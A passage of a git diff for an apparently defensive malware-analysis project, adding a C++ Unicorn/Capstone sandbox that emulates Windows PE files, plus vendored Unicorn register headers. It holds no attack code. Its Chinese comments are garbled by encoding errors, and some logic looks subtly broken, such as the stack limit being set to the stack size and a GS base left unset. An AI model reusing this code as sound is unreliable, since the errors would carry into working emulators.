1; + eflags.fields.intf = 1; + eflags.fields.reserved1 = 1; + + uc_reg_write(m_ucEngine, UC_X86_REG_EFLAGS, &eflags.all); + + uint64_t cr8 = 0; + uc_reg_write(m_ucEngine, UC_X86_REG_CR8, &cr8); + + /* + 映射 m_KSharedUserDataBase + */ + uint64_t m_KSharedUserDataBase = 0x7FFE0000; + uint64_t m_KSharedUserDataEnd = 0x7FFE0FFF; // 0x7FFE2000 + uint64_t m_KSharedUserDataSize = + AlignSize(m_KSharedUserDataEnd - m_KSharedUserDataBase, PAGE_SIZE); + + uc_mem_map(m_ucEngine, m_KSharedUserDataBase, m_KSharedUserDataSize, + UC_PROT_READ); + uc_mem_write(m_ucEngine, m_KSharedUserDataBase, + (void*)m_KSharedUserDataBase, m_KSharedUserDataSize); + + m_tebBase = TEB_BASE; // 进程TEBåœ°å€ + m_pebBase = PEB_BASE; // 进程PEBåœ°å€ + // stack + m_stackBase = this->m_peInfo->isX64 ? STACK_BASE_64 : STACK_BASE_32; + m_stackSize = this->m_peInfo->isX64 ? STACK_SIZE_64 : STACK_SIZE_32; + m_stackEnd = m_stackBase + m_stackSize; + + // heap + m_heapBase = this->m_peInfo->isX64 ? HEAP_ADDRESS_64 : HEAP_ADDRESS_32; + m_heapSize = this->m_peInfo->isX64 ? HEAP_SIZE_64 : HEAP_SIZE_32; + m_heapEnd = m_heapBase + m_heapSize; + + // æ ¹æ®PE文件类型设置PEBå’ŒTEB + if (this->m_peInfo->isX64) { + // 设置64ä½PEB + m_peb64.ImageBaseAddress = m_peInfo->RecImageBase; + m_pebEnd = m_pebBase + AlignSize(sizeof(X64PEB), PAGE_SIZE); + m_tebEnd = m_tebBase + AlignSize(sizeof(X64TEB), PAGE_SIZE); + + // 设置64ä½TEB + m_teb64.ClientId.UniqueProcess = GetCurrentProcessId(); + m_teb64.ClientId.UniqueThread = GetCurrentThreadId(); + m_teb64.ProcessEnvironmentBlock = reinterpret_cast(m_pebBase); + m_teb64.NtTib.StackBase = (DWORD64)m_stackBase; + m_teb64.NtTib.StackLimit = (DWORD64)m_stackSize; + + // 设置堆 + m_peb64.ProcessHeap = m_heapBase; + + // 设置GS基å€ç»“æž„ + m_gsBaseStruct.teb = m_tebBase; + m_gsBaseStruct.peb = m_pebBase; + uint64_t gsAllocSize = AlignSize(sizeof(struct_gs_base), PAGE_SIZE); + + // 映射PEB到虚拟内存 + uc_mem_map(m_ucEngine, m_pebBase, m_pebEnd - m_pebBase, + UC_PROT_READ | UC_PROT_WRITE); + uc_mem_write(m_ucEngine, m_pebBase, &m_peb64, sizeof(X64PEB)); + + // 映射TEB到虚拟内存 + uc_mem_map(m_ucEngine, m_tebBase, m_tebEnd - m_tebBase, + UC_PROT_READ | UC_PROT_WRITE); + uc_mem_write(m_ucEngine, m_tebBase, &m_teb64, sizeof(X64TEB)); + + // 映射GS基å€ç»“构到虚拟内存 + uc_mem_map(m_ucEngine, m_gsBase, gsAllocSize, UC_PROT_READ); + uc_mem_write(m_ucEngine, m_gsBase, &m_gsBaseStruct, + sizeof(struct_gs_base)); + + // 设置GS基å€MSR + uc_x86_msr msr; + msr.rid = static_cast(Msr::kIa32GsBase); + msr.value = m_gsBase; + uc_reg_write(m_ucEngine, UC_X86_REG_MSR, &msr); + } else { + // 设置32ä½PEB + m_peb32.ImageBaseAddress = static_cast(m_peInfo->RecImageBase); + m_pebEnd = m_pebBase + AlignSize(sizeof(X32PEB), PAGE_SIZE); + m_tebEnd = m_tebBase + AlignSize(sizeof(X32TEB), PAGE_SIZE); + + // 设置32ä½TEB + m_teb32.ClientId.UniqueProcess = GetCurrentProcessId(); + m_teb32.ClientId.UniqueThread = GetCurrentThreadId(); + m_teb32.ProcessEnvironmentBlock = static_cast(m_pebBase); + m_teb32.NtTib.StackBase = static_cast(m_stackBase); + m_teb32.NtTib.StackLimit = static_cast(m_stackSize); + + // 设置堆 + m_peb32.ProcessHeap = static_cast(m_heapBase); + + // 映射PEB到虚拟内存 + uc_mem_map(m_ucEngine, m_pebBase, m_pebEnd - m_pebBase, + UC_PROT_READ | UC_PROT_WRITE); + uc_mem_write(m_ucEngine, m_pebBase, &m_peb32, sizeof(X32PEB)); + + // 映射TEB到虚拟内存 + uc_mem_map(m_ucEngine, m_tebBase, m_tebEnd - m_tebBase, + UC_PROT_READ | UC_PROT_WRITE); + uc_mem_write(m_ucEngine, m_tebBase, &m_teb32, sizeof(X32TEB)); + + // 对于32ä½ï¼Œæˆ‘们需è¦è®¾ç½®FS段寄存器指å‘TEB + SegmentSelector fs = {0}; + fs.fields.index = 3; + uc_reg_write(m_ucEngine, UC_X86_REG_FS, &fs.all); + + // 设置FS基å€MSR + uc_x86_msr msr; + msr.rid = static_cast(Msr::kIa32FsBase); + msr.value = m_tebBase; + uc_reg_write(m_ucEngine, UC_X86_REG_MSR, &msr); + } +} +auto Sandbox::InitEnv(std::shared_ptr peInfo) -> void { + m_peInfo = peInfo; + + if (cs_open(CS_ARCH_X86, peInfo->isX64 ? CS_MODE_64 : CS_MODE_32, + &m_csHandle) != CS_ERR_OK) { + throw std::runtime_error("Failed to initialize Capstone"); + } + if (uc_open(UC_ARCH_X86, peInfo->isX64 ? UC_MODE_64 : UC_MODE_32, + &m_ucEngine) != UC_ERR_OK) { + cs_close(&m_csHandle); // 清ç†å·²åˆ†é…çš„capstoneèµ„æº + throw std::runtime_error("Failed to initialize Unicorn"); + } + ResoveImport(); + ResolveExport(); + uc_err ucErr = uc_mem_map(m_ucEngine, m_peInfo->RecImageBase, + m_peInfo->peSize, UC_PROT_ALL); + if (ucErr != UC_ERR_OK) { + throw std::runtime_error("Failed to map memory"); + } + uc_mem_write(m_ucEngine, m_peInfo->RecImageBase, m_peInfo->peBuffer, + m_peInfo->peSize); + printf("map file to vm file: %llx\n", m_peInfo->RecImageBase); + printf("map file to vm size: %llx\n", m_peInfo->peSize); + SetupVirtualMachine(); +} + +auto Sandbox::Run() -> void { + // åˆå§‹åŒ–堆栈 + uc_err err = uc_mem_map(m_ucEngine, m_stackBase, m_stackSize, + UC_PROT_READ | UC_PROT_WRITE); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to map stack memory"); + } + + // åˆå§‹åŒ–å † + err = uc_mem_map(m_ucEngine, m_heapBase, m_heapSize, + UC_PROT_READ | UC_PROT_WRITE); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to map heap memory"); + } + + // 设置寄存器 + uint64_t rsp = m_stackEnd - 128; + err = uc_reg_write(m_ucEngine, + m_peInfo->isX64 ? UC_X86_REG_RSP : UC_X86_REG_ESP, &rsp); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to write stack pointer"); + } + + // 设置入å£ç‚¹ + uint64_t entryPoint = m_peInfo->RecImageBase + m_peInfo->entryPoint; + + // æ·»åŠ é’©å­ + uc_hook hook_code, hook_mem, hook_mem_unmap, hook_mem_write, hook_syscall; + + // ä»£ç æ‰§è¡Œé’©å­ + err = uc_hook_add(m_ucEngine, &hook_code, UC_HOOK_CODE, + reinterpret_cast(sandboxCallbacks::handleCodeRun), + this, 1, 0); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to add code hook"); + } + + // 内存读å–é’©å­ + err = + uc_hook_add(m_ucEngine, &hook_mem, UC_HOOK_MEM_READ | UC_HOOK_MEM_FETCH, + reinterpret_cast(sandboxCallbacks::handleMemoryRead), + this, 1, 0); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to add memory read hook"); + } + + // æœªæ˜ å°„å†…å­˜è®¿é—®é’©å­ + err = uc_hook_add( + m_ucEngine, &hook_mem_unmap, + UC_HOOK_MEM_FETCH_UNMAPPED | UC_HOOK_MEM_READ_UNMAPPED | + UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_PROT, + reinterpret_cast(sandboxCallbacks::handleMemoryUnmapRead), this, + 1, 0); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to add unmapped memory hook"); + } + + // å†…å­˜å†™å…¥é’©å­ + err = uc_hook_add( + m_ucEngine, &hook_mem_write, UC_HOOK_MEM_WRITE | UC_HOOK_MEM_WRITE_PROT, + reinterpret_cast(sandboxCallbacks::handleMemoryWrite), this, 1, + 0); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to add memory write hook"); + } + + // ç³»ç»Ÿè°ƒç”¨é’©å­ + err = uc_hook_add(m_ucEngine, &hook_syscall, UC_HOOK_INTR | UC_HOOK_INSN, + reinterpret_cast(sandboxCallbacks::handleSyscall), + this, 1, 0, UC_X86_INS_SYSCALL); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to add syscall hook"); + } + + // 设置EIP/RIP + err = uc_reg_write(m_ucEngine, + m_peInfo->isX64 ? UC_X86_REG_RIP : UC_X86_REG_EIP, + &entryPoint); + if (err != UC_ERR_OK) { + throw std::runtime_error("Failed to set entry point"); + } + + // 开始执行 + std::cout << "Starting execution at " << std::hex << entryPoint + << std::endl; + err = uc_emu_start(m_ucEngine, entryPoint, m_peInfo->imageEnd, 0, 0); + if (err != UC_ERR_OK) { + std::cerr << "Emulation error: " << uc_strerror(err) << std::endl; + + // 32ä½çŽ¯å¢ƒä¸‹çš„é”™è¯¯å¤„ç† + if (!m_peInfo->isX64) { + uint32_t eip; + uc_reg_read(m_ucEngine, UC_X86_REG_EIP, &eip); + std::cerr << "Error occurred at EIP: 0x" << std::hex << eip + << std::endl; + + // å°è¯•读å–当剿Œ‡ä»¤ + uint8_t instruction[16]; + if (uc_mem_read(m_ucEngine, eip, instruction, + sizeof(instruction)) == UC_ERR_OK) { + std::cerr << "Instruction bytes: "; + for (int i = 0; i < 16; i++) { + printf("%02X ", instruction[i]); + } + std::cerr << std::endl; + } + } + } +} diff --git a/ai_anti_malware/sandbox.h b/ai_anti_malware/sandbox.h new file mode 100644 index 0000000..823d3d0 --- /dev/null +++ b/ai_anti_malware/sandbox.h @@ -0,0 +1,94 @@ +#pragma once +#include "head.h" + +#define PAGE_SIZE 0x1000 +#define CF_MASK (1 << 0) +#define PF_MASK (1 << 2) +#define ZF_MASK (1 << 6) +#define SF_MASK (1 << 7) +#define OF_MASK (1 << 11) +#define ALL_MASK (OF_MASK | SF_MASK | ZF_MASK | PF_MASK | CF_MASK) +#define STACK_BASE_64 0x7ffffffde000 +#define STACK_BASE_32 0xfffdd000 +#define STACK_SIZE_64 0x40000 +#define STACK_SIZE_32 0x21000 +#define HEAP_ADDRESS_64 0x500000000 +#define HEAP_SIZE_64 0x5000000 +#define HEAP_ADDRESS_32 0x5000000 +#define HEAP_SIZE_32 0x5000000 + +#define PEB_BASE 0x80000 +#define TEB_BASE 0x90000 + +#define X86_GDT_ADDR 0x30000 +#define X86_GDT_LIMIT 0x1000 +#define X86_GDT_ENTRY_SIZE 0x8 + +#define API_FUNCTION_SIZE 8 +#define PAGE_ALIGN(Va) (ULONG_PTR)(Va) & ~(PAGE_SIZE - 1) +#define PAGE_ALIGN_64(Va) (Va) & ~(0x1000ull - 1) +#define PAGE_ALIGN_64k(Va) ((Va)) & ~(0x10000ull - 1) +#define AlignSize(Size, Align) (Size + Align - 1) / Align* Align + +enum class WinVer { + kWin7 = 0x0610, + kWin7SP1 = 0x0611, + kWin8 = 0x0620, + kWin81 = 0x0630, + kWin10 = 0x0A00, + kWin10RS1 = 0x0A01, // Anniversary update + kWin10RS2 = 0x0A02, // Creators update + kWin10RS3 = 0x0A03, // Fall creators update + kWin10RS4 = 0x0A04, // Spring creators update + kWin10RS5 = 0x0A05, // October 2018 update + kWin1019H1 = 0x0A06, // May 2019 update 19H1 + kWin1019H2 = 0x0A07, // November 2019 update 19H2 + kWin1020H1 = 0x0A08 // April 2020 update 20H1 +}; + +class Sandbox { + public: + Sandbox(); + ~Sandbox(); + + // Public methods + auto InitEnv(std::shared_ptr peInfo) -> void; + + auto Run() -> void; + + auto GetCapstoneHandle() const -> csh { return m_csHandle; } + auto GetUnicornHandle() const -> uc_engine* { return m_ucEngine; } + auto GetPeInfo() const -> std::shared_ptr { return m_peInfo; } + + private: + std::shared_ptr m_peInfo; + uint64_t m_gsBase; + uint64_t m_pebBase; + uint64_t m_pebEnd; + uint64_t m_tebBase; + uint64_t m_tebEnd; + PVOID m_stackBuffer; // 没有释放 + uint64_t m_stackBase; + uint64_t m_stackSize; + uint64_t m_stackEnd; + uint64_t m_heapBase; + uint64_t m_heapSize; + uint64_t m_heapEnd; + uint64_t m_fakeBase; + struct_gs_base m_gsBaseStruct; + X64TEB m_teb64; + X64PEB m_peb64; + X32TEB m_teb32; + X32PEB m_peb32; + csh m_csHandle; // Capstone handle + uc_engine* m_ucEngine; // Unicorn engine handle + std::vector> m_impFuncDict; + std::vector> m_exportFuncDict; + std::vector> m_moduleList; + auto ResoveImport() -> void; + auto SetupVirtualMachine() -> void; + auto ResolveExport() -> void; + auto PushModuleToVM(const char* dllName, uint64_t moduleBase, + uint32_t x32Base) -> void; + auto processImportModule(const moudle_import* importModule) -> void; +}; diff --git a/ai_anti_malware/sandbox_callbacks.cpp b/ai_anti_malware/sandbox_callbacks.cpp new file mode 100644 index 0000000..fe45d2b --- /dev/null +++ b/ai_anti_malware/sandbox_callbacks.cpp @@ -0,0 +1 @@ +#include "sandbox_callbacks.h" diff --git a/ai_anti_malware/sandbox_callbacks.h b/ai_anti_malware/sandbox_callbacks.h new file mode 100644 index 0000000..153ce60 --- /dev/null +++ b/ai_anti_malware/sandbox_callbacks.h @@ -0,0 +1,70 @@ +#pragma once +#include "sandbox.h" + +namespace sandboxCallbacks { +static void handleCodeRun(uc_engine* uc, uint64_t address, uint32_t size, + void* userData) { + auto* sandbox = static_cast(userData); + if (!sandbox) return; + + // 读å–当剿‰§è¡Œçš„ä»£ç  + uint8_t* codeBuffer = new uint8_t[size]; + if (uc_mem_read(uc, address, codeBuffer, size) != UC_ERR_OK) { + delete[] codeBuffer; + return; + } + + // 使用Capstoneåæ±‡ç¼– + cs_insn* instruction; + size_t instructionCount = + cs_disasm(sandbox->GetCapstoneHandle(), codeBuffer, size, address, 0, + &instruction); + + if (instructionCount > 0) { + // 打å°åœ°å€å’Œå汇编结果 + printf("0x%016" PRIx64 " %-12s %s\n", instruction[0].address, + instruction[0].mnemonic, instruction[0].op_str); + cs_free(instruction, instructionCount); + } + + delete[] codeBuffer; +} + +static void handleMemoryRead(uc_engine* uc, uc_mem_type type, uint64_t address, + int size, int64_t value, void* userData) { + auto* sandbox = static_cast(userData); + if (!sandbox) return; + + uint64_t regRax, regRip; + uc_reg_read(uc, + sandbox->GetPeInfo()->isX64 ? UC_X86_REG_RAX : UC_X86_REG_EAX, + ®Rax); + uc_reg_read(uc, + sandbox->GetPeInfo()->isX64 ? UC_X86_REG_RIP : UC_X86_REG_EIP, + ®Rip); + + uint64_t readAddress; + auto readError = + uc_mem_read(sandbox->GetUnicornHandle(), address, &readAddress, size); + printf( + "[handleMemoryRead] Address: %p Size: %p Rax: %p Rip: %p Error: %d " + "ReadData: %p\n", + address, size, regRax, regRip, readError, readAddress); +} + +static void handleMemoryUnmapRead(uc_engine* uc, uc_mem_type type, + uint64_t address, int size, int64_t value, + void* userData) { + // 待实现 +} + +static void handleMemoryWrite(uc_engine* uc, uc_mem_type type, uint64_t address, + int size, int64_t value, void* userData) { + // 待实现 +} + +static void handleSyscall(uc_engine* uc, void* userData) { + // 待实现 +} + +} // namespace sandboxCallbacks diff --git a/ai_anti_malware/unicorn/include/unicorn/arm.h b/ai_anti_malware/unicorn/include/unicorn/arm.h new file mode 100644 index 0000000..a0fd83e --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/arm.h @@ -0,0 +1,157 @@ +/* Unicorn Engine */ +/* By Nguyen Anh Quynh , 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ARM_H +#define UNICORN_ARM_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> ARM registers +typedef enum uc_arm_reg { + UC_ARM_REG_INVALID = 0, + UC_ARM_REG_APSR, + UC_ARM_REG_APSR_NZCV, + UC_ARM_REG_CPSR, + UC_ARM_REG_FPEXC, + UC_ARM_REG_FPINST, + UC_ARM_REG_FPSCR, + UC_ARM_REG_FPSCR_NZCV, + UC_ARM_REG_FPSID, + UC_ARM_REG_ITSTATE, + UC_ARM_REG_LR, + UC_ARM_REG_PC, + UC_ARM_REG_SP, + UC_ARM_REG_SPSR, + UC_ARM_REG_D0, + UC_ARM_REG_D1, + UC_ARM_REG_D2, + UC_ARM_REG_D3, + UC_ARM_REG_D4, + UC_ARM_REG_D5, + UC_ARM_REG_D6, + UC_ARM_REG_D7, + UC_ARM_REG_D8, + UC_ARM_REG_D9, + UC_ARM_REG_D10, + UC_ARM_REG_D11, + UC_ARM_REG_D12, + UC_ARM_REG_D13, + UC_ARM_REG_D14, + UC_ARM_REG_D15, + UC_ARM_REG_D16, + UC_ARM_REG_D17, + UC_ARM_REG_D18, + UC_ARM_REG_D19, + UC_ARM_REG_D20, + UC_ARM_REG_D21, + UC_ARM_REG_D22, + UC_ARM_REG_D23, + UC_ARM_REG_D24, + UC_ARM_REG_D25, + UC_ARM_REG_D26, + UC_ARM_REG_D27, + UC_ARM_REG_D28, + UC_ARM_REG_D29, + UC_ARM_REG_D30, + UC_ARM_REG_D31, + UC_ARM_REG_FPINST2, + UC_ARM_REG_MVFR0, + UC_ARM_REG_MVFR1, + UC_ARM_REG_MVFR2, + UC_ARM_REG_Q0, + UC_ARM_REG_Q1, + UC_ARM_REG_Q2, + UC_ARM_REG_Q3, + UC_ARM_REG_Q4, + UC_ARM_REG_Q5, + UC_ARM_REG_Q6, + UC_ARM_REG_Q7, + UC_ARM_REG_Q8, + UC_ARM_REG_Q9, + UC_ARM_REG_Q10, + UC_ARM_REG_Q11, + UC_ARM_REG_Q12, + UC_ARM_REG_Q13, + UC_ARM_REG_Q14, + UC_ARM_REG_Q15, + UC_ARM_REG_R0, + UC_ARM_REG_R1, + UC_ARM_REG_R2, + UC_ARM_REG_R3, + UC_ARM_REG_R4, + UC_ARM_REG_R5, + UC_ARM_REG_R6, + UC_ARM_REG_R7, + UC_ARM_REG_R8, + UC_ARM_REG_R9, + UC_ARM_REG_R10, + UC_ARM_REG_R11, + UC_ARM_REG_R12, + UC_ARM_REG_S0, + UC_ARM_REG_S1, + UC_ARM_REG_S2, + UC_ARM_REG_S3, + UC_ARM_REG_S4, + UC_ARM_REG_S5, + UC_ARM_REG_S6, + UC_ARM_REG_S7, + UC_ARM_REG_S8, + UC_ARM_REG_S9, + UC_ARM_REG_S10, + UC_ARM_REG_S11, + UC_ARM_REG_S12, + UC_ARM_REG_S13, + UC_ARM_REG_S14, + UC_ARM_REG_S15, + UC_ARM_REG_S16, + UC_ARM_REG_S17, + UC_ARM_REG_S18, + UC_ARM_REG_S19, + UC_ARM_REG_S20, + UC_ARM_REG_S21, + UC_ARM_REG_S22, + UC_ARM_REG_S23, + UC_ARM_REG_S24, + UC_ARM_REG_S25, + UC_ARM_REG_S26, + UC_ARM_REG_S27, + UC_ARM_REG_S28, + UC_ARM_REG_S29, + UC_ARM_REG_S30, + UC_ARM_REG_S31, + + UC_ARM_REG_C1_C0_2, + UC_ARM_REG_C13_C0_2, + UC_ARM_REG_C13_C0_3, + + UC_ARM_REG_IPSR, + UC_ARM_REG_MSP, + UC_ARM_REG_PSP, + UC_ARM_REG_CONTROL, + UC_ARM_REG_ENDING, // <-- mark the end of the list or registers + + //> alias registers + UC_ARM_REG_R13 = UC_ARM_REG_SP, + UC_ARM_REG_R14 = UC_ARM_REG_LR, + UC_ARM_REG_R15 = UC_ARM_REG_PC, + + UC_ARM_REG_SB = UC_ARM_REG_R9, + UC_ARM_REG_SL = UC_ARM_REG_R10, + UC_ARM_REG_FP = UC_ARM_REG_R11, + UC_ARM_REG_IP = UC_ARM_REG_R12, +} uc_arm_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/include/unicorn/arm64.h b/ai_anti_malware/unicorn/include/unicorn/arm64.h new file mode 100644 index 0000000..0f66518 --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/arm64.h @@ -0,0 +1,344 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ARM64_H +#define UNICORN_ARM64_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> ARM64 registers +typedef enum uc_arm64_reg { + UC_ARM64_REG_INVALID = 0, + + UC_ARM64_REG_X29, + UC_ARM64_REG_X30, + UC_ARM64_REG_NZCV, + UC_ARM64_REG_SP, + UC_ARM64_REG_WSP, + UC_ARM64_REG_WZR, + UC_ARM64_REG_XZR, + UC_ARM64_REG_B0, + UC_ARM64_REG_B1, + UC_ARM64_REG_B2, + UC_ARM64_REG_B3, + UC_ARM64_REG_B4, + UC_ARM64_REG_B5, + UC_ARM64_REG_B6, + UC_ARM64_REG_B7, + UC_ARM64_REG_B8, + UC_ARM64_REG_B9, + UC_ARM64_REG_B10, + UC_ARM64_REG_B11, + UC_ARM64_REG_B12, + UC_ARM64_REG_B13, + UC_ARM64_REG_B14, + UC_ARM64_REG_B15, + UC_ARM64_REG_B16, + UC_ARM64_REG_B17, + UC_ARM64_REG_B18, + UC_ARM64_REG_B19, + UC_ARM64_REG_B20, + UC_ARM64_REG_B21, + UC_ARM64_REG_B22, + UC_ARM64_REG_B23, + UC_ARM64_REG_B24, + UC_ARM64_REG_B25, + UC_ARM64_REG_B26, + UC_ARM64_REG_B27, + UC_ARM64_REG_B28, + UC_ARM64_REG_B29, + UC_ARM64_REG_B30, + UC_ARM64_REG_B31, + UC_ARM64_REG_D0, + UC_ARM64_REG_D1, + UC_ARM64_REG_D2, + UC_ARM64_REG_D3, + UC_ARM64_REG_D4, + UC_ARM64_REG_D5, + UC_ARM64_REG_D6, + UC_ARM64_REG_D7, + UC_ARM64_REG_D8, + UC_ARM64_REG_D9, + UC_ARM64_REG_D10, + UC_ARM64_REG_D11, + UC_ARM64_REG_D12, + UC_ARM64_REG_D13, + UC_ARM64_REG_D14, + UC_ARM64_REG_D15, + UC_ARM64_REG_D16, + UC_ARM64_REG_D17, + UC_ARM64_REG_D18, + UC_ARM64_REG_D19, + UC_ARM64_REG_D20, + UC_ARM64_REG_D21, + UC_ARM64_REG_D22, + UC_ARM64_REG_D23, + UC_ARM64_REG_D24, + UC_ARM64_REG_D25, + UC_ARM64_REG_D26, + UC_ARM64_REG_D27, + UC_ARM64_REG_D28, + UC_ARM64_REG_D29, + UC_ARM64_REG_D30, + UC_ARM64_REG_D31, + UC_ARM64_REG_H0, + UC_ARM64_REG_H1, + UC_ARM64_REG_H2, + UC_ARM64_REG_H3, + UC_ARM64_REG_H4, + UC_ARM64_REG_H5, + UC_ARM64_REG_H6, + UC_ARM64_REG_H7, + UC_ARM64_REG_H8, + UC_ARM64_REG_H9, + UC_ARM64_REG_H10, + UC_ARM64_REG_H11, + UC_ARM64_REG_H12, + UC_ARM64_REG_H13, + UC_ARM64_REG_H14, + UC_ARM64_REG_H15, + UC_ARM64_REG_H16, + UC_ARM64_REG_H17, + UC_ARM64_REG_H18, + UC_ARM64_REG_H19, + UC_ARM64_REG_H20, + UC_ARM64_REG_H21, + UC_ARM64_REG_H22, + UC_ARM64_REG_H23, + UC_ARM64_REG_H24, + UC_ARM64_REG_H25, + UC_ARM64_REG_H26, + UC_ARM64_REG_H27, + UC_ARM64_REG_H28, + UC_ARM64_REG_H29, + UC_ARM64_REG_H30, + UC_ARM64_REG_H31, + UC_ARM64_REG_Q0, + UC_ARM64_REG_Q1, + UC_ARM64_REG_Q2, + UC_ARM64_REG_Q3, + UC_ARM64_REG_Q4, + UC_ARM64_REG_Q5, + UC_ARM64_REG_Q6, + UC_ARM64_REG_Q7, + UC_ARM64_REG_Q8, + UC_ARM64_REG_Q9, + UC_ARM64_REG_Q10, + UC_ARM64_REG_Q11, + UC_ARM64_REG_Q12, + UC_ARM64_REG_Q13, + UC_ARM64_REG_Q14, + UC_ARM64_REG_Q15, + UC_ARM64_REG_Q16, + UC_ARM64_REG_Q17, + UC_ARM64_REG_Q18, + UC_ARM64_REG_Q19, + UC_ARM64_REG_Q20, + UC_ARM64_REG_Q21, + UC_ARM64_REG_Q22, + UC_ARM64_REG_Q23, + UC_ARM64_REG_Q24, + UC_ARM64_REG_Q25, + UC_ARM64_REG_Q26, + UC_ARM64_REG_Q27, + UC_ARM64_REG_Q28, + UC_ARM64_REG_Q29, + UC_ARM64_REG_Q30, + UC_ARM64_REG_Q31, + UC_ARM64_REG_S0, + UC_ARM64_REG_S1, + UC_ARM64_REG_S2, + UC_ARM64_REG_S3, + UC_ARM64_REG_S4, + UC_ARM64_REG_S5, + UC_ARM64_REG_S6, + UC_ARM64_REG_S7, + UC_ARM64_REG_S8, + UC_ARM64_REG_S9, + UC_ARM64_REG_S10, + UC_ARM64_REG_S11, + UC_ARM64_REG_S12, + UC_ARM64_REG_S13, + UC_ARM64_REG_S14, + UC_ARM64_REG_S15, + UC_ARM64_REG_S16, + UC_ARM64_REG_S17, + UC_ARM64_REG_S18, + UC_ARM64_REG_S19, + UC_ARM64_REG_S20, + UC_ARM64_REG_S21, + UC_ARM64_REG_S22, + UC_ARM64_REG_S23, + UC_ARM64_REG_S24, + UC_ARM64_REG_S25, + UC_ARM64_REG_S26, + UC_ARM64_REG_S27, + UC_ARM64_REG_S28, + UC_ARM64_REG_S29, + UC_ARM64_REG_S30, + UC_ARM64_REG_S31, + UC_ARM64_REG_W0, + UC_ARM64_REG_W1, + UC_ARM64_REG_W2, + UC_ARM64_REG_W3, + UC_ARM64_REG_W4, + UC_ARM64_REG_W5, + UC_ARM64_REG_W6, + UC_ARM64_REG_W7, + UC_ARM64_REG_W8, + UC_ARM64_REG_W9, + UC_ARM64_REG_W10, + UC_ARM64_REG_W11, + UC_ARM64_REG_W12, + UC_ARM64_REG_W13, + UC_ARM64_REG_W14, + UC_ARM64_REG_W15, + UC_ARM64_REG_W16, + UC_ARM64_REG_W17, + UC_ARM64_REG_W18, + UC_ARM64_REG_W19, + UC_ARM64_REG_W20, + UC_ARM64_REG_W21, + UC_ARM64_REG_W22, + UC_ARM64_REG_W23, + UC_ARM64_REG_W24, + UC_ARM64_REG_W25, + UC_ARM64_REG_W26, + UC_ARM64_REG_W27, + UC_ARM64_REG_W28, + UC_ARM64_REG_W29, + UC_ARM64_REG_W30, + UC_ARM64_REG_X0, + UC_ARM64_REG_X1, + UC_ARM64_REG_X2, + UC_ARM64_REG_X3, + UC_ARM64_REG_X4, + UC_ARM64_REG_X5, + UC_ARM64_REG_X6, + UC_ARM64_REG_X7, + UC_ARM64_REG_X8, + UC_ARM64_REG_X9, + UC_ARM64_REG_X10, + UC_ARM64_REG_X11, + UC_ARM64_REG_X12, + UC_ARM64_REG_X13, + UC_ARM64_REG_X14, + UC_ARM64_REG_X15, + UC_ARM64_REG_X16, + UC_ARM64_REG_X17, + UC_ARM64_REG_X18, + UC_ARM64_REG_X19, + UC_ARM64_REG_X20, + UC_ARM64_REG_X21, + UC_ARM64_REG_X22, + UC_ARM64_REG_X23, + UC_ARM64_REG_X24, + UC_ARM64_REG_X25, + UC_ARM64_REG_X26, + UC_ARM64_REG_X27, + UC_ARM64_REG_X28, + + UC_ARM64_REG_V0, + UC_ARM64_REG_V1, + UC_ARM64_REG_V2, + UC_ARM64_REG_V3, + UC_ARM64_REG_V4, + UC_ARM64_REG_V5, + UC_ARM64_REG_V6, + UC_ARM64_REG_V7, + UC_ARM64_REG_V8, + UC_ARM64_REG_V9, + UC_ARM64_REG_V10, + UC_ARM64_REG_V11, + UC_ARM64_REG_V12, + UC_ARM64_REG_V13, + UC_ARM64_REG_V14, + UC_ARM64_REG_V15, + UC_ARM64_REG_V16, + UC_ARM64_REG_V17, + UC_ARM64_REG_V18, + UC_ARM64_REG_V19, + UC_ARM64_REG_V20, + UC_ARM64_REG_V21, + UC_ARM64_REG_V22, + UC_ARM64_REG_V23, + UC_ARM64_REG_V24, + UC_ARM64_REG_V25, + UC_ARM64_REG_V26, + UC_ARM64_REG_V27, + UC_ARM64_REG_V28, + UC_ARM64_REG_V29, + UC_ARM64_REG_V30, + UC_ARM64_REG_V31, + + //> pseudo registers + UC_ARM64_REG_PC, // program counter register + + UC_ARM64_REG_CPACR_EL1, + + //> thread registers + UC_ARM64_REG_TPIDR_EL0, + UC_ARM64_REG_TPIDRRO_EL0, + UC_ARM64_REG_TPIDR_EL1, + + UC_ARM64_REG_PSTATE, + + //> exception link registers + UC_ARM64_REG_ELR_EL0, + UC_ARM64_REG_ELR_EL1, + UC_ARM64_REG_ELR_EL2, + UC_ARM64_REG_ELR_EL3, + + //> stack pointers registers + UC_ARM64_REG_SP_EL0, + UC_ARM64_REG_SP_EL1, + UC_ARM64_REG_SP_EL2, + UC_ARM64_REG_SP_EL3, + + //> other CP15 registers + UC_ARM64_REG_TTBR0_EL1, + UC_ARM64_REG_TTBR1_EL1, + + UC_ARM64_REG_ESR_EL0, + UC_ARM64_REG_ESR_EL1, + UC_ARM64_REG_ESR_EL2, + UC_ARM64_REG_ESR_EL3, + + UC_ARM64_REG_FAR_EL0, + UC_ARM64_REG_FAR_EL1, + UC_ARM64_REG_FAR_EL2, + UC_ARM64_REG_FAR_EL3, + + UC_ARM64_REG_PAR_EL1, + + UC_ARM64_REG_MAIR_EL1, + + UC_ARM64_REG_VBAR_EL0, + 